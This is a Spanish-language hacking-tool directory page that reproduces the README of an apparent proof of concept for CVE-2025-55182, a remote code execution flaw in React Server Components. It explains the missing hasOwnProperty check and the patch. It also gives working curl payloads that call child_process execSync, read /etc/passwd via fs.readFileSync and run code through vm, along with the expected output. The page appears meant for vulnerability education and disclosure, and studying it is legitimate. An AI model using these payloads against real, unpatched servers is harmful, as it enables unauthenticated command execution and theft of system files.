Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-55182-realistic-poc — un POC realista que demuestra la falta de verificación de `hasOwnProperty` en react-server-dom-webpack@19.0.0 | Kitploit
Herramientas/GitHubGitHub/joshterrill/cve-2025-55182-realistic-poc
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebAprendizaje y EducaciónDesarrollo de Payloads
GitHubjoshterrill/cve-2025-55182-realistic-poc

CVE-2025-55182-realistic-poc

un POC realista que demuestra la falta de verificación de `hasOwnProperty` en [email protected]

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
1hace 8 mesesAún no revisado

CVE-2025-55182: Ejecución remota de código en React Server Components

Una prueba de concepto mínima que demuestra la vulnerabilidad crítica de ejecución remota de código en [email protected].

¿Qué es CVE-2025-55182?

Una vulnerabilidad de RCE sin autenticación previa en React Server Components que permite a los atacantes ejecutar código arbitrario en servidores que utilizan el paquete vulnerable react-server-dom-webpack (versiones 19.0.0 - 19.2.0).

Puntuación CVSS: 10 (Crítica)

Paquetes afectados

  • react-server-dom-webpack 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-parcel 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-turbopack 19.0.0, 19.1.0, 19.1.1, 19.2.0

Versiones parcheadas

  • 19.0.1, 19.1.2, 19.2.1

La vulnerabilidad

Causa raíz: falta de comprobación hasOwnProperty

La vulnerabilidad existe en la función requireModule dentro de la implementación del protocolo Flight de React. Esta función carga las exportaciones de módulos basándose en metadatos recibidos de las solicitudes del cliente.

Código vulnerable ([email protected]):

root@kitploit:~
// packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js

export function requireModule<T>(metadata: ClientReference<T>): T {
  const moduleExports = __webpack_require__(metadata[ID]);
  if (metadata[NAME] === '*') {
    return moduleExports;
  }
  if (metadata[NAME] === '') {
    return moduleExports.__esModule ? moduleExports.default : moduleExports;
  }
  return moduleExports[metadata[NAME]];  // <-- ¡Sin validación!
}

El problema: metadata[NAME] proviene de entrada del usuario (la solicitud HTTP). Un atacante puede especificar cualquier módulo y nombre de exportación, como child_process#execSync.

La corrección (PR #35277)

Código parcheado ([email protected]+):

root@kitploit:~
// packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js

import hasOwnProperty from 'shared/hasOwnProperty';

export function requireModule<T>(metadata: ClientReference<T>): T {
  const moduleExports = __webpack_require__(metadata[ID]);
  if (metadata[NAME] === '*') {
    return moduleExports;
  }
  if (metadata[NAME] === '') {
    return moduleExports.__esModule ? moduleExports.default : moduleExports;
  }
  // CORREGIDO: Validar que la exportación realmente existe
  if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
    return moduleExports[metadata[NAME]];
  }
  return (undefined: any);
}

La corrección añade hasOwnProperty.call() para garantizar que la exportación solicitada sea una propiedad propia del módulo, no heredada de la cadena de prototipos ni resoluble dinámicamente hacia módulos peligrosos.

Vector de ataque

  1. El atacante envía una solicitud HTTP POST manipulada a un endpoint de acción de servidor
  2. El payload contiene los campos $ACTION_REF_0 y $ACTION_0:0
  3. $ACTION_0:0 contiene {"id":"child_process#execSync","bound":["whoami"]}
  4. decodeAction analiza esto y llama a requireModule con metadatos controlados por el atacante
  5. requireModule devuelve require('child_process').execSync
  6. La función se invoca con argumentos del atacante → RCE

Prueba de concepto

Configuración

root@kitploit:~
cd CVE-2025-55182-realistic-poc/
npm install
npm start
# se inicia en http://localhost:3000

Ejecutar el RCE

root@kitploit:~
curl -X POST http://localhost:3000 \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'

Salida esperada:

root@kitploit:~
{"success":true,"result":"tu-nombre-de-usuario\n"}

Otros ejemplos de explotación

root@kitploit:~
# Leer archivos
curl -X POST http://localhost:3000 \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'

# Ejecutar JavaScript
curl -X POST http://localhost:3000 \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["process.version"]}'

Cómo funciona

El flujo de decodeAction

root@kitploit:~
HTTP Request
    │
    ▼
┌─────────────────────────────────────────────────────────────┐
│  decodeAction(formData, serverManifest)                     │
│  - Parsea $ACTION_REF_0 para encontrar la referencia        │
│  - Parsea $ACTION_0:0 para obtener {id, bound}              │
└─────────────────────────────────────────────────────────────┘
    │
    ▼
┌─────────────────────────────────────────────────────────────┐
│  loadServerReference(serverManifest, id, bound)             │
│  - id = "child_process#execSync" (controlado por atacante)  │
│  - bound = ["whoami"] (controlado por atacante)             │
└─────────────────────────────────────────────────────────────┘
    │
    ▼
┌─────────────────────────────────────────────────────────────┐
│  resolveServerReference(bundlerConfig, id)                  │
│  - Divide "child_process#execSync" en:                      │
│    specifier = "child_process"                              │
│    name = "execSync"                                        │
└─────────────────────────────────────────────────────────────┘
    │
    ▼
┌─────────────────────────────────────────────────────────────┐
│  requireModule(metadata)                     [VULNERABLE]   │
│  - Carga require("child_process")                           │
│  - Devuelve moduleExports["execSync"]                       │
│  - SIN VALIDACIÓN de que "execSync" deba ser accesible      │
└─────────────────────────────────────────────────────────────┘
    │
    ▼
┌─────────────────────────────────────────────────────────────┐
│  action = execSync.bind(null, "whoami")                     │
│  result = action()  →  EJECUTA "whoami" EN EL SERVIDOR      │
└─────────────────────────────────────────────────────────────┘

Referencias

  • Aviso de seguridad de React: https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
  • PR #35277 en GitHub (Corrección): https://github.com/facebook/react/pull/35277
  • Registro CVE: https://nvd.nist.gov/vuln/detail/CVE-2025-55182
  • Análisis de Wiz: https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182
  • Aviso de Next.js: https://nextjs.org/blog/CVE-2025-66478

Licencia

MIT

Descargar herramienta